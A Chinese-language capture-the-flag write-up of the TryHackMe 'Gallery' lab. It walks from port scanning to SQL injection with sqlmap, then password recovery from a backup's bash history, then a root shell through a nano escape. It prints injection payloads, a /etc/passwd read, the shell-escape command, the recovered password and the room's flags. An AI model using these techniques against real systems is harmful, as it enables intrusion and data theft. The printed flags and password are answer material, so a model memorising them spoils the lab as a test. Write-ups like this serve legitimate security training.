Gallery渗透测试实战:从SQL注入到Root权限提升

本文详细记录了TryHackMe平台Gallery房间的完整渗透测试过程,涵盖端口扫描、SQL注入漏洞利用、备份文件发现、密码破解和通过nano编辑器实现权限提升的全套技术流程。

[THM] Gallery — 渗透测试报告

说实话…我原本没打算在约会后花整个晚上来解开这个"简单图片库",但好奇心战胜了我(可能还有双倍咖啡因的作用)。从最初对web表单的试探到追踪隐蔽的备份文件,这个房间带来的惊喜远超预期。虽然相对容易上手!

如果你想尝试Gallery房间,或者想跟随我的冒险经历,请继续阅读完整的过程记录(以及一些我希望从一开始就知道的技巧)。

1. 初始侦察

1.1. 目标发现

首先,我从TryHackMe获取目标IP并确认其在线:

1
ping <target-ip>

1.2. 端口扫描

使用Nmap扫描开放端口和运行服务:

1
nmap -sC -sV -oN initial.nmap <target-ip>

发现:

  • 80/tcp — Apache httpd 2.4.29 (Ubuntu)
  • 8080/tcp — Apache httpd 2.4.29 (Ubuntu)

两个端口都托管着web服务器,乐趣从这里开始。

2. Web应用枚举

2.1. 浏览网站

  • 端口80:默认Apache页面,无有趣内容
  • 端口8080:出现基本的"简单图片库"web应用

2.2. 目录和文件暴力破解

运行gobuster查找隐藏目录和文件:

1
gobuster dir -u http://<target-ip>:8080 -w /usr/share/wordlists/dirb/common.txt

发现了标准目录(/images、/uploads等),但没有立即有用的内容。

3. 利用Web应用

3.1. 测试SQL注入

图库应用具有登录和搜索功能。我开始测试SQL注入:

  • 在登录字段或搜索框中输入 ' OR 1=1-- -
  • 监控错误或成功登录的响应

成功!搜索功能存在漏洞 — 像 test' or '1'='1 这样的输入返回了所有图片。

3.2. 转储数据库

使用sqlmap自动化处理:

1
sqlmap -u "http://<target-ip>:8080/search.php?query=cat" --level=5 --risk=3 --dump-all

经过一些耐心等待,sqlmap获取了users表。我找到了admin的哈希值:

1
a228b12a08b6527e7978cbe5d914531c

我尝试使用hashcat和rockyou破解哈希,但由于后续步骤不需要直接登录,所以继续前进。

4. 系统立足点

4.1. 搜索文件上传漏洞

我检查了图库是否允许图片上传。确实允许,但有一些限制。尝试上传伪装成图片的PHP shell(例如将shell.php重命名为shell.jpg),上传被过滤,但值得注意以备将来攻击。

4.2. 探索敏感文件

由于应用通过SQLi泄露信息,我利用它读取系统文件:

1
sqlmap --file-read="/etc/passwd" ...

但没有立即找到有用的内容。是时候寻找其他途径了。

5. 本地文件发现

5.1. 检查备份

标准做法:始终检查/var/backups和类似目录以寻找有用文件。

1
ls -la /var/backups/

发现:mike_home_backup.tar.gz

5.2. 提取和分析备份

我通过web漏洞下载备份,或通过web应用获取(如果已在系统上,可以使用wget、scp或内置web服务器):

1
2
tar -xzvf mike_home_backup.tar.gz
cd mike_home_backup

在里面,我找到了.bash_history文件。

1
cat .bash_history

发现密码:

1
b3stpassw0rdbr0xx

6. 用户权限提升

6.1. SSH或本地切换

我检查了SSH访问,但如果不可用,使用任何shell访问来切换用户:

1
2
su mike
# 密码:b3stpassw0rdbr0xx

成功!现在以mike身份运行。

6.2. 获取用户标志

1
cat /home/mike/user.txt

用户标志:THM{af05cd30bfed67849befd546ef}

7. Root权限提升

7.1. 检查Sudo权限

1
sudo -l

发现:

1
(ALL) NOPASSWD: /opt/rootkit.sh

7.2. 分析/opt/rootkit.sh

我阅读了脚本:

1
cat /opt/rootkit.sh

它提供了一个菜单,其中一个选项让我以root身份在nano中打开文件。

7.3. 利用Nano获取Root Shell

遵循GTFOBins:

  • 运行:sudo /opt/rootkit.sh
  • 选择"read"选项(打开nano)
  • 在nano中,按Ctrl+R然后Ctrl+X
  • 在提示符处输入:reset; sh 1>&0 2>&0
  • 按Enter — 现在我有了root shell!

7.4. 获取Root标志

1
cat /root/root.txt

Root标志:THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}

8. 最终总结和经验教训

  • 枚举就是一切:始终挖掘隐藏文件、目录和备份档案
  • SQL注入仍然有效:不要忽视经典漏洞
  • 权限提升关乎细节:检查sudo权限,阅读自定义脚本,使用GTFOBins技巧
  • 备份和历史文件是金矿:始终仔细检查它们

关键命令回顾

1
2
3
4
5
6
7
nmap -sC -sV -oN initial.nmap <target-ip>
gobuster dir -u http://<target-ip>:8080 -w /usr/share/wordlists/dirb/common.txt
sqlmap -u "http://<target-ip>:8080/search.php?query=cat" --level=5 --risk=3 --dump-all
cat .bash_history
su mike
sudo -l
在root shell中通过GTFOBins利用nano

如果你在任何步骤卡住,尝试放慢速度并探索所有文件和web功能。祝你好运,黑客愉快!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计